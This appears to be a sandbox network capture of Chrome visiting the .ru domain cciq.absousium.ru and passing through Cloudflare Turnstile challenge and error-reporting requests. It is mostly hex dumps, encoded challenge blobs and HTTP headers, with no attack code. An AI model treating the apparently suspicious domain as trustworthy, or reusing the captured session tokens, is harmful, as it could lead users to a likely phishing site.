2025-01-09 03:28:37 UTC	3158	OUT	Data Raw: 76 5f 38 66 66 31 35 36 38 65 61 63 61 33 34 32 64 62 3d 75 6d 48 33 49 33 2d 33 36 33 5a 33 70 46 69 77 46 69 55 33 46 4f 6c 6f 6e 35 46 30 69 6e 56 4a 69 65 55 69 25 32 62 24 72 2b 77 4e 6e 69 6c 4f 6e 6f 59 72 4e 2d 69 55 69 48 4f 46 6b 2b 76 69 57 72 69 6f 59 71 6b 33 30 59 69 68 33 46 59 6b 46 62 44 4d 2b 6b 69 73 33 44 44 50 69 42 72 69 36 42 69 44 2d 78 69 64 69 4e 7a 2d 69 4e 4f 46 32 6d 33 4e 6f 2b 30 4d 69 44 6d 64 4e 68 4f 66 38 54 69 6e 4d 47 31 55 51 76 78 32 48 6c 4c 61 33 30 55 48 4e 4c 42 63 69 4d 73 24 6a 33 70 48 4e 51 62 4f 4b 51 6c 65 6b 6e 69 65 38 74 72 33 6a 74 67 61 24 36 68 56 55 74 69 69 77 51 69 69 4f 33 2b 50 57 45 59 69 78 39 39 46 6b 30 47 46 69 48 43 54 4d 77 73 33 69 2b 4a 52 77 45 59 69 48 74 33 69 6b 33 69 63 75 69 2b 63 Data Ascii: v_8ff1568eaca342db=umH3I3-363Z3pFiwFiU3FOlon5F0inVJieUi%2b$r+wNnilOnoYrN-iUiHOFk+viWrioYqk30Yih3FYkFbDM+kis3DDPiBri6BiD-xidiNz-iNOF2m3No+0MiDmdNhOf8TinMG1UQvx2HlLa30UHNLBciMs$j3pHNQbOKQleknie8tr3jtga$6hVUtiiwQiiO3+PWEYix99Fk0GFiHCTMws3i+JRwEYiHt3ik3icui+c
2025-01-09 03:28:37 UTC	759	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:28:37 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 152668 Connection: close cf-chl-gen: FZeMEY2nULh9KCKUbu+JDxLcV33NwdCezq+1ENfjLKXkbcDQKm3iAYjx0K2ewbw4saQArgf9WFjA9INm/pHsytY2yItqNwcRwAXRBTjOoK+xPfP+sJdn0/cKdAp68xDHt2Rb2UA449HUU4nqyZUdDh1dvfH0Sux/8gmx2AJr4j8K4TifYlRdOCB30aGmnh+iL3Uznk2Fq9V4KYoYWAiOGzHuJ1LQuAit4a6JtM2oGxsyVoMOSXB09E0JHEInmWxHugiraufIvq3GwGqbqkjiI5cYRGiLdgo7VTi8133vjKNM1T2I+O7BbSWt//yzNodme1O0fOZBjA/9KIpSkFo8TQ3EC/NC0timDcmZME19LCS0ynxkEfJ2r0EPukHC1bPWXig/qtfL4rHbW6UZvBE0c+dX4x7lkv1aswk6likLJ7bPQKXfjHBGb3S1te+TiBECTOkKfTbg3Hrwq7/ziTzsSuUWfqCOeCW7NuFaNT6rXHXIQinE97MVKm6CYw==$HfM+G6Cgh6N88sEM Server: cloudflare CF-RAY: 8ff156999ed842ea-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 03:28:37 UTC	610	IN	Data Raw: 6e 72 4f 2b 6b 70 76 44 6d 73 4f 49 79 4d 47 46 66 37 79 34 6a 36 53 4a 78 71 53 73 79 4d 48 56 6d 63 2f 4c 71 73 6e 47 6e 4f 48 62 33 74 6a 68 30 4e 76 54 74 74 62 41 77 72 57 71 78 4e 6a 61 73 4f 66 55 72 65 54 72 38 4f 76 33 34 72 6e 4f 36 50 50 64 7a 75 37 59 7a 74 41 42 33 50 54 7a 79 41 44 73 77 2f 77 44 79 42 45 4e 35 67 41 52 46 64 50 55 31 42 51 55 30 39 55 49 32 51 45 65 32 65 48 36 37 4e 33 6c 2f 76 6f 70 4a 68 6e 37 4b 43 66 72 36 52 77 70 46 66 50 77 43 68 4d 6b 39 66 72 78 2b 53 6b 30 44 67 38 75 41 68 73 55 52 68 6f 66 47 45 6c 45 42 45 4a 4d 48 41 67 39 54 7a 77 6f 54 54 34 75 54 69 4d 6b 47 56 64 58 53 44 42 4a 4e 57 46 63 4c 52 74 56 58 56 51 31 57 45 74 55 51 31 35 6c 59 33 4a 74 63 44 31 6c 56 46 52 50 54 46 6c 4a 4f 6a 77 32 4e 6a 74 Data Ascii: nrO+kpvDmsOIyMGFf7y4j6SJxqSsyMHVmc/LqsnGnOHb3tjh0NvTttbAwrWqxNjasOfUreTr8Ov34rnO6PPdzu7YztAB3PTzyADsw/wDyBEN5gARFdPU1BQU09UI2QEe2eH67N3l/vopJhn7KCfr6RwpFfPwChMk9frx+Sk0Dg8uAhsURhofGElEBEJMHAg9TzwoTT4uTiMkGVdXSDBJNWFcLRtVXVQ1WEtUQ15lY3JtcD1lVFRPTFlJOjw2Njt
2025-01-09 03:28:37 UTC	1369	IN	Data Raw: 56 4d 5a 47 47 4a 54 6f 74 46 59 6c 47 4b 55 34 35 71 56 31 4f 4f 62 59 35 74 65 34 46 78 62 4b 46 75 63 59 47 61 64 57 47 4c 59 35 64 67 68 6f 35 39 72 6e 4f 71 71 34 4e 33 72 61 6d 61 72 62 4f 4a 6b 35 6d 2b 69 5a 6d 34 76 4b 43 37 70 4a 2b 38 67 49 65 35 7a 70 72 4d 67 70 47 45 7a 4a 48 50 77 71 32 71 6b 62 53 33 78 73 61 78 7a 64 36 30 31 39 65 2b 6f 37 48 46 76 74 65 7a 35 38 7a 66 7a 38 2f 69 33 73 44 30 36 65 33 48 72 73 76 76 32 66 62 79 32 64 6a 65 76 62 37 63 30 74 50 67 42 74 2f 54 39 74 59 41 79 2b 58 67 32 66 76 5a 35 64 30 45 37 65 7a 6e 44 42 6b 50 39 74 51 53 43 77 67 53 45 2f 4d 61 48 52 4c 68 42 2f 4d 72 48 52 76 2b 2f 4f 33 76 2b 51 51 48 45 51 41 6a 4d 53 73 49 4b 44 55 4a 46 42 77 35 44 52 67 71 50 52 45 63 51 6b 45 56 49 45 70 46 47 Data Ascii: VMZGGJTotFYlGKU45qV1OObY5te4FxbKFucYGadWGLY5dgho59rnOqq4N3ramarbOJk5m+iZm4vKC7pJ+8gIe5zprMgpGEzJHPwq2qkbS3xsaxzd6019e+o7HFvtez58zfz8/i3sD06e3Hrsvv2fby2djevb7c0tPgBt/T9tYAy+Xg2fvZ5d0E7eznDBkP9tQSCwgSE/MaHRLhB/MrHRv+/O3v+QQHEQAjMSsIKDUJFBw5DRgqPREcQkEVIEpFG
2025-01-09 03:28:37 UTC	1369	IN	Data Raw: 4e 6a 33 36 4e 69 47 6c 6a 62 34 69 50 56 5a 4b 4d 6e 59 47 50 64 34 2b 46 70 4b 43 65 6d 57 6d 73 6e 6f 68 36 62 4c 47 77 61 61 68 38 74 4a 4b 4e 70 4c 6d 57 70 36 79 37 6d 6f 65 55 73 4b 4b 37 6c 36 43 34 77 4c 32 44 6c 36 61 68 70 59 66 41 75 59 75 6a 6b 4a 79 68 70 61 71 69 79 37 75 6b 73 64 4c 57 32 72 66 54 74 62 43 33 32 72 71 66 73 39 79 33 79 4c 66 67 76 4d 79 37 35 4d 48 51 76 2b 6a 47 36 38 50 30 39 2f 58 4d 36 4c 6e 48 79 76 6b 41 2b 64 72 33 31 4f 66 57 43 63 41 43 78 2f 73 46 34 4e 72 6e 7a 50 73 4b 7a 68 59 46 45 74 62 54 48 50 72 57 39 51 33 63 47 65 37 2b 49 74 63 68 38 2f 67 57 44 50 63 4a 48 41 59 61 4a 65 6b 30 43 65 34 49 37 7a 55 78 36 78 67 78 44 76 6b 7a 43 30 45 34 43 2f 73 33 4a 78 55 63 2f 69 55 4c 43 78 55 34 49 67 59 72 50 42 Data Ascii: Nj36NiGljb4iPVZKMnYGPd4+FpKCemWmsnoh6bLGwaah8tJKNpLmWp6y7moeUsKK7l6C4wL2Dl6ahpYfAuYujkJyhpaqiy7uksdLW2rfTtbC32rqfs9y3yLfgvMy75MHQv+jG68P09/XM6LnHyvkA+dr31OfWCcACx/sF4NrnzPsKzhYFEtbTHPrW9Q3cGe7+Itch8/gWDPcJHAYaJek0Ce4I7zUx6xgxDvkzC0E4C/s3JxUc/iULCxU4IgYrPB
2025-01-09 03:28:37 UTC	1369	IN	Data Raw: 57 5a 52 6c 65 46 71 59 61 58 78 66 6e 47 31 39 62 71 64 31 6d 61 43 6d 67 6f 65 71 6e 4a 71 4f 68 6d 74 2f 6c 6e 4f 79 6f 59 69 53 72 5a 32 6f 66 61 2b 66 74 62 53 52 6e 72 35 39 73 36 6a 46 70 73 65 32 7a 4c 65 62 79 62 6d 6a 7a 73 4c 55 78 72 57 35 6c 63 76 63 71 4e 62 61 75 4c 62 67 32 64 4c 55 33 39 71 32 74 65 69 31 7a 4c 72 6b 78 4f 48 6d 36 4c 72 6f 79 4f 4c 6a 39 39 50 33 32 72 6d 34 7a 39 58 48 32 76 76 4b 31 63 44 6c 34 74 6e 34 39 50 4c 66 44 51 58 70 77 66 37 66 79 39 77 4d 46 50 66 32 46 65 37 75 46 75 62 2b 46 77 45 55 46 42 6e 78 45 74 7a 37 33 69 4d 6a 38 76 6e 6a 44 78 77 77 44 44 4d 6c 36 75 7a 79 43 69 34 54 47 6a 6b 54 37 68 45 73 4b 67 73 2f 4d 78 45 38 4c 7a 55 47 48 52 38 6e 51 78 31 4d 4f 55 73 6d 52 53 63 4d 4b 45 77 6e 45 53 4d Data Ascii: WZRleFqYaXxfnG19bqd1maCmgoeqnJqOhmt/lnOyoYiSrZ2ofa+ftbSRnr59s6jFpse2zLebybmjzsLUxrW5lcvcqNbauLbg2dLU39q2tei1zLrkxOHm6LroyOLj99P32rm4z9XH2vvK1cDl4tn49PLfDQXpwf7fy9wMFPf2Fe7uFub+FwEUFBnxEtz73iMj8vnjDxwwDDMl6uzyCi4TGjkT7hEsKgs/MxE8LzUGHR8nQx1MOUsmRScMKEwnESM
2025-01-09 03:28:37 UTC	1369	IN	Data Raw: 34 31 55 6f 70 69 68 58 59 52 38 68 6e 4b 46 69 47 65 75 6f 61 43 6d 73 35 46 72 64 61 32 77 72 33 61 59 73 36 57 4d 73 48 75 56 6b 4c 6d 42 74 70 32 44 6f 35 69 70 77 35 79 37 78 4c 79 73 6e 72 7a 46 6f 4d 37 4f 70 4e 4b 55 72 70 72 45 7a 35 75 38 6d 4e 72 68 33 2b 43 68 7a 74 43 76 36 4b 65 38 76 2b 44 6a 75 4c 69 6f 33 39 79 7a 78 73 33 43 79 64 66 36 73 63 6e 79 2f 4e 72 58 30 50 4c 69 31 63 2f 67 2b 41 48 39 77 39 66 6d 34 65 58 48 37 63 4c 67 42 68 58 69 43 51 54 77 35 51 30 53 38 50 4d 51 38 4f 7a 7a 46 2f 58 62 37 78 6e 36 42 66 4d 64 39 77 6e 33 49 66 77 4e 2b 79 55 43 37 4f 77 6d 37 6a 45 55 4a 6a 6f 54 4c 78 30 37 50 6b 4c 39 43 78 41 31 50 52 56 41 4d 54 49 7a 42 6a 67 5a 50 67 78 49 4f 79 59 6e 54 6a 59 72 49 56 5a 51 56 7a 5a 50 55 47 42 56 Data Ascii: 41UopihXYR8hnKFiGeuoaCms5Frda2wr3aYs6WMsHuVkLmBtp2Do5ipw5y7xLysnrzFoM7OpNKUrprEz5u8mNrh3+ChztCv6Ke8v+DjuLio39yzxs3Cydf6scny/NrX0PLi1c/g+AH9w9fm4eXH7cLgBhXiCQTw5Q0S8PMQ8OzzF/Xb7xn6BfMd9wn3IfwN+yUC7Owm7jEUJjoTLx07PkL9CxA1PRVAMTIzBjgZPgxIOyYnTjYrIVZQVzZPUGBV
2025-01-09 03:28:37 UTC	1369	IN	Data Raw: 69 64 6f 58 71 55 6f 6e 79 42 72 71 70 2f 72 71 36 54 63 6d 69 79 73 72 42 7a 70 6e 61 73 75 37 56 2f 65 49 47 38 6c 4b 57 65 6d 4c 66 41 6f 4b 6d 70 6e 72 6d 63 79 49 2b 67 7a 49 36 53 70 38 47 54 32 4e 58 4c 72 4c 4c 61 7a 38 44 4e 73 74 58 6b 6e 39 43 79 73 73 72 41 7a 4e 2f 6a 76 38 47 34 72 4f 62 77 36 2b 58 65 34 63 62 69 38 72 66 33 78 38 7a 33 34 64 66 59 38 64 62 78 34 76 37 77 31 2b 44 69 42 4f 33 69 41 64 37 36 36 75 34 53 79 77 51 48 45 67 77 4d 36 4e 76 62 43 64 63 64 49 76 6f 58 34 51 41 45 47 67 72 6e 48 2b 67 5a 46 75 30 66 41 79 59 4e 4a 69 30 71 44 53 77 58 47 43 30 7a 2b 42 41 5a 4f 43 48 2b 4a 44 6f 6c 4a 42 77 2f 4d 53 52 41 4c 54 56 4f 4a 45 63 35 4c 45 68 4b 50 55 35 4d 54 68 51 54 4e 6b 35 56 53 6c 42 52 51 6a 6c 42 50 52 78 47 49 Data Ascii: idoXqUonyBrqp/rq6TcmiysrBzpnasu7V/eIG8lKWemLfAoKmpnrmcyI+gzI6Sp8GT2NXLrLLaz8DNstXkn9CyssrAzN/jv8G4rObw6+Xe4cbi8rf3x8z34dfY8dbx4v7w1+DiBO3iAd766u4SywQHEgwM6NvbCdcdIvoX4QAEGgrnH+gZFu0fAyYNJi0qDSwXGC0z+BAZOCH+JDolJBw/MSRALTVOJEc5LEhKPU5MThQTNk5VSlBRQjlBPRxGI
2025-01-09 03:28:37 UTC	1369	IN	Data Raw: 6d 66 61 6d 64 73 35 32 76 71 37 61 30 6b 48 57 62 65 71 71 6c 65 34 32 35 75 62 57 77 66 58 74 34 76 70 57 6b 74 4a 57 49 74 38 47 6a 6d 38 62 43 69 73 6a 4e 70 5a 4c 49 73 71 79 76 33 64 6e 48 70 36 43 65 6d 36 48 59 74 73 66 63 33 4d 53 2b 76 38 4b 6f 70 36 32 2b 36 63 44 46 71 38 57 79 35 4f 6a 54 7a 73 58 6f 35 76 65 37 2b 72 37 71 2b 2b 4c 43 2b 66 7a 6e 77 75 50 36 41 75 50 66 33 2b 4c 4c 42 39 44 47 2f 76 63 45 44 75 2f 73 45 42 44 71 38 42 77 51 33 66 45 44 34 78 6a 59 39 66 37 62 42 53 49 6f 47 4f 67 69 48 77 73 72 45 43 30 65 4b 2b 30 49 4d 78 6b 4c 4e 42 2f 30 39 68 77 72 51 53 30 2f 4e 41 59 6b 43 43 55 58 43 68 68 4e 42 6b 51 70 55 53 38 71 55 56 59 7a 52 69 56 4a 4f 31 51 77 4f 56 46 5a 56 68 77 77 50 7a 6f 2b 49 45 6c 66 49 30 78 59 4f 7a Data Ascii: mfamds52vq7a0kHWbeqqle425ubWwfXt4vpWktJWIt8Gjm8bCisjNpZLIsqyv3dnHp6Cem6HYtsfc3MS+v8Kop62+6cDFq8Wy5OjTzsXo5ve7+r7q++LC+fznwuP6AuPf3+LLB9DG/vcEDu/sEBDq8BwQ3fED4xjY9f7bBSIoGOgiHwsrEC0eK+0IMxkLNB/09hwrQS0/NAYkCCUXChhNBkQpUS8qUVYzRiVJO1QwOVFZVhwwPzo+IElfI0xYOz
2025-01-09 03:28:37 UTC	1369	IN	Data Raw: 63 62 57 30 71 58 53 55 6a 61 5a 34 69 72 69 4a 69 70 69 44 76 4d 4f 2b 78 73 44 46 76 72 2b 33 71 4a 7a 4e 70 61 57 73 6e 63 58 4e 77 74 61 59 6a 36 75 79 79 38 37 62 30 64 69 31 31 72 53 67 74 62 4c 50 32 37 66 65 34 75 6e 73 71 38 7a 69 38 4d 44 4a 7a 65 76 52 79 66 58 78 2b 63 65 7a 38 75 61 39 38 4f 4c 61 42 66 7a 30 78 66 6b 48 34 74 62 30 33 77 33 46 42 4f 67 52 37 75 6b 52 46 76 49 47 35 41 6e 36 46 4f 2f 34 45 52 6b 57 32 2b 2f 2b 2b 66 33 66 49 76 58 32 43 41 50 30 49 2b 51 42 2b 53 51 71 38 77 51 71 43 53 73 4d 4c 77 37 7a 43 44 45 54 2b 45 41 55 2b 7a 51 75 4a 68 73 6f 50 44 34 33 4c 41 78 4e 49 51 35 44 4c 55 30 38 4e 54 5a 51 4b 55 68 55 57 30 55 71 4c 7a 70 42 56 54 41 39 56 46 63 77 55 57 63 70 49 44 78 44 4e 6c 39 73 59 6d 6c 4a 52 6b 5a Data Ascii: cbW0qXSUjaZ4iriJipiDvMO+xsDFvr+3qJzNpaWsncXNwtaYj6uyy87b0di11rSgtbLP27fe4unsq8zi8MDJzevRyfXx+cez8ua98OLaBfz0xfkH4tb03w3FBOgR7ukRFvIG5An6FO/4ERkW2+/++f3fIvX2CAP0I+QB+SQq8wQqCSsMLw7zCDET+EAU+zQuJhsoPD43LAxNIQ5DLU08NTZQKUhUW0UqLzpBVTA9VFcwUWcpIDxDNl9sYmlJRkZ
2025-01-09 03:28:37 UTC	1369	IN	Data Raw: 59 32 58 68 70 6d 4e 73 62 69 2b 6d 70 2f 43 74 4c 4b 6d 6e 6f 4f 58 74 62 71 46 71 4d 50 49 77 62 54 42 30 4b 6d 78 79 36 61 55 79 4e 57 56 6b 62 6a 62 76 74 2f 4f 35 4d 2b 7a 34 64 47 37 35 74 72 73 33 73 33 52 72 65 50 30 77 4f 37 79 30 4d 37 34 38 65 72 73 39 2f 4c 4e 33 4e 55 45 31 67 59 47 33 66 66 36 30 2f 51 4c 7a 4d 50 66 35 74 6b 44 45 41 59 4e 33 65 48 70 46 2b 45 55 44 77 7a 31 46 2b 33 74 49 43 54 31 47 50 7a 6a 37 78 49 4b 2b 43 48 31 49 52 76 71 35 7a 49 78 42 53 6b 74 4b 78 59 53 42 67 30 47 42 78 30 59 51 44 73 4b 4c 42 30 34 2b 78 67 66 48 79 55 6d 4b 30 4e 4b 50 69 46 43 47 67 6b 50 55 42 38 55 4b 67 73 71 4f 55 39 5a 4b 56 6c 65 47 54 78 56 56 53 35 6d 48 69 46 46 61 30 64 6f 57 31 39 50 51 57 4a 4e 5a 57 35 43 64 43 35 58 5a 7a 4e 75 Data Ascii: Y2XhpmNsbi+mp/CtLKmnoOXtbqFqMPIwbTB0Kmxy6aUyNWVkbjbvt/O5M+z4dG75trs3s3RreP0wO7y0M748ers9/LN3NUE1gYG3ff60/QLzMPf5tkDEAYN3eHpF+EUDwz1F+3tICT1GPzj7xIK+CH1IRvq5zIxBSktKxYSBg0GBx0YQDsKLB04+xgfHyUmK0NKPiFCGgkPUB8UKgsqOU9ZKVleGTxVVS5mHiFFa0doW19PQWJNZW5CdC5XZzNu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49745	35.190.80.1	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 03:28:37 UTC	548	OUT	OPTIONS /report/v4?s=VUSl67gPE6Oc9N9HEgIsdhZ09UQIgz9D1a8PyNLUD6IF%2F3%2BsryllKu%2F0wi48%2Ftfg4dqeRkv%2FPwkH7Jts%2Fmaxw37N9KCyDtgeN1%2F24bZ97%2FVIGzs4p4eavsp%2FTJlCZA%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://cciq.absousium.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 03:28:37 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Thu, 09 Jan 2025 03:28:37 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49747	35.190.80.1	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 03:28:38 UTC	488	OUT	POST /report/v4?s=VUSl67gPE6Oc9N9HEgIsdhZ09UQIgz9D1a8PyNLUD6IF%2F3%2BsryllKu%2F0wi48%2Ftfg4dqeRkv%2FPwkH7Jts%2Fmaxw37N9KCyDtgeN1%2F24bZ97%2FVIGzs4p4eavsp%2FTJlCZA%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 430 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 03:28:38 UTC	430	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 33 33 32 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 63 63 69 71 2e 61 62 73 6f 75 73 69 75 6d 2e 72 75 2f 6f 35 62 38 44 58 41 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 31 36 2e 31 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 Data Ascii: [{"age":0,"body":{"elapsed_time":332,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://cciq.absousium.ru/o5b8DXA/","sampling_fraction":1.0,"server_ip":"104.21.16.1","status_code":404,"type":"http.error"},"type":"network-error"
2025-01-09 03:28:38 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Thu, 09 Jan 2025 03:28:37 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49749	104.18.94.41	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 03:28:38 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1841493557:1736389842:pB4s7u0wqpZFW7tcd-C2AhvV7grUnI6cdD9HQVBEQaU/8ff1568eaca342db/bAYp9OaNGE9eFw.LBpuj4fjwBScjjr1R6Wa2KLEL1ac-1736393315-1.1.1.1-4PtztNUheHgsBzttiRAftBKAqFOrB0gowvOiT54mWcrdNUOtC7qigNJEGLColiBD HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 03:28:38 UTC	379	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 03:28:38 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: U2Phspspwkag2P0DhwGwkWwaRIwMbpGVxBo=$RWXKL3OPJgj7ZJVJ cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ff156a2acaa0fa9-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 03:28:38 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49750	104.18.95.41	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 03:28:39 UTC	811	OUT	GET /cdn-cgi/challenge-platform/h/g/pat/8ff1568eaca342db/1736393317396/fb443b32309dcb3307d1d0ef1805c65e6c0628957a81749f2154f5b42a23a3df/9GJE3-f8vZDVkzl HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/gwrm9/0x4AAAAAAA3Q2biiOsc--vat/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 03:28:39 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Thu, 09 Jan 2025 03:28:39 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2025-01-09 03:28:39 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 2d 30 51 37 4d 6a 43 64 79 7a 4d 48 30 64 44 76 47 41 58 47 58 6d 77 47 4b 4a 56 36 67 58 53 66 49 56 54 31 74 43 6f 6a 6f 39 38 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20g-0Q7MjCdyzMH0dDvGAXGXmwGKJV6gXSfIVT1tCojo98AGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2025-01-09 03:28:39 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49756	104.18.95.41	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 03:28:40 UTC	782	OUT	GET /cdn-cgi/challenge-platform/h/g/i/8ff1568eaca342db/1736393317397/H_MHCiTlQOd4REn HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/gwrm9/0x4AAAAAAA3Q2biiOsc--vat/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 03:28:40 UTC	200	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:28:40 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8ff156aafe898cc6-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 03:28:40 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 06 00 00 00 01 08 02 00 00 00 72 ab 48 a7 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRrHIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49762	104.18.94.41	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 03:28:40 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/g/i/8ff1568eaca342db/1736393317397/H_MHCiTlQOd4REn HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 03:28:40 UTC	200	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:28:40 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8ff156aec93243e0-EWR alt-svc: h3=":443"; ma=86400
